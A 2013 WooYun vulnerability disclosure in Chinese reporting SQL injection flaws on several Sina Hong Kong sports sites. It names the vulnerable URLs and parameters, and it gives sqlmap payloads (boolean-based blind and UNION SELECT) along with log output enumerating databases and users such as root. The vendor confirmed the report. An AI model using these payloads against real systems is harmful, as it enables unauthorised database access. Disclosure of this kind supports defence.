当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021153

漏洞标题:新浪网多处SQL注射漏洞大礼包,均可读库

相关厂商:新浪

漏洞作者: iiiiiiiii

提交时间:2013-04-03 11:31

修复时间:2013-05-18 11:32

公开时间:2013-05-18 11:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-03: 细节已通知厂商并且等待厂商处理中
2013-04-03: 厂商已经确认,细节仅向厂商公开
2013-04-13: 细节向核心白帽子及相关领域专家公开
2013-04-23: 细节向普通白帽子公开
2013-05-03: 细节向实习白帽子公开
2013-05-18: 细节向公众公开

简要描述:

新浪SQL盲注

详细说明:

1,http://soccer.sina.com.hk/cgi-bin/nw/focus.cgi?id=3
SQL盲注 太慢了 懒得跑了

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 9875=9875
---
[20:41:32] [INFO] testing MySQL
[20:41:35] [INFO] confirming MySQL
[20:41:40] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:41:40] [INFO] fetching database names
[20:41:40] [INFO] fetching number of databases
[20:41:40] [INFO] retrieved: 6
[20:41:53] [INFO] retrieved: information_schema
[20:46:45] [INFO] retrieved: live_soccer
[20:50:13] [INFO] retrieved: mysql


2,http://basketball.sina.com.hk/cgi-bin/player/main.cgi?id=166
http://basketball.sina.com.hk/cgi-bin/stat/match.cgi?oid=8322
都存在 建议仔细查查这个站

[21:34:15] [INFO] testing MySQL
[21:34:16] [INFO] confirming MySQL
[21:34:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL < 5.0.0
[21:34:19] [WARNING] information_schema not available, back-end DBMS is MySQL <
5. database names will be fetched from 'mysql' database
[21:34:19] [INFO] fetching database names
available databases [2]:
[*] test
[*] test\_%


3,http://sports.sina.com.hk/cgi-bin/nw/photo/main.cgi?cat=102
注射点

Payload: cat=102 AND 4106=4106
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: cat=-2946 UNION ALL SELECT CONCAT(CHAR(58,101,110,107,58),CHAR(112,
69,72,77,70,90,72,71,115,88),CHAR(58,97,113,100,58))#
---
[22:28:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 4
[22:28:37] [INFO] fetching database users
[22:28:40] [INFO] the SQL query used returns 16 entries
database management system users [8]:
[*]
[*] hk
[*] psauth
[*] readonly
[*] root
[*] web
[*] web_ro

漏洞证明:

1.jpg


33.jpg


4.jpg

修复方案:

求公仔!!!

版权声明:转载请注明来源 iiiiiiiii@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-04-03 14:49

厂商回复:

感谢提供,已安排人员进行修复。

最新状态:

暂无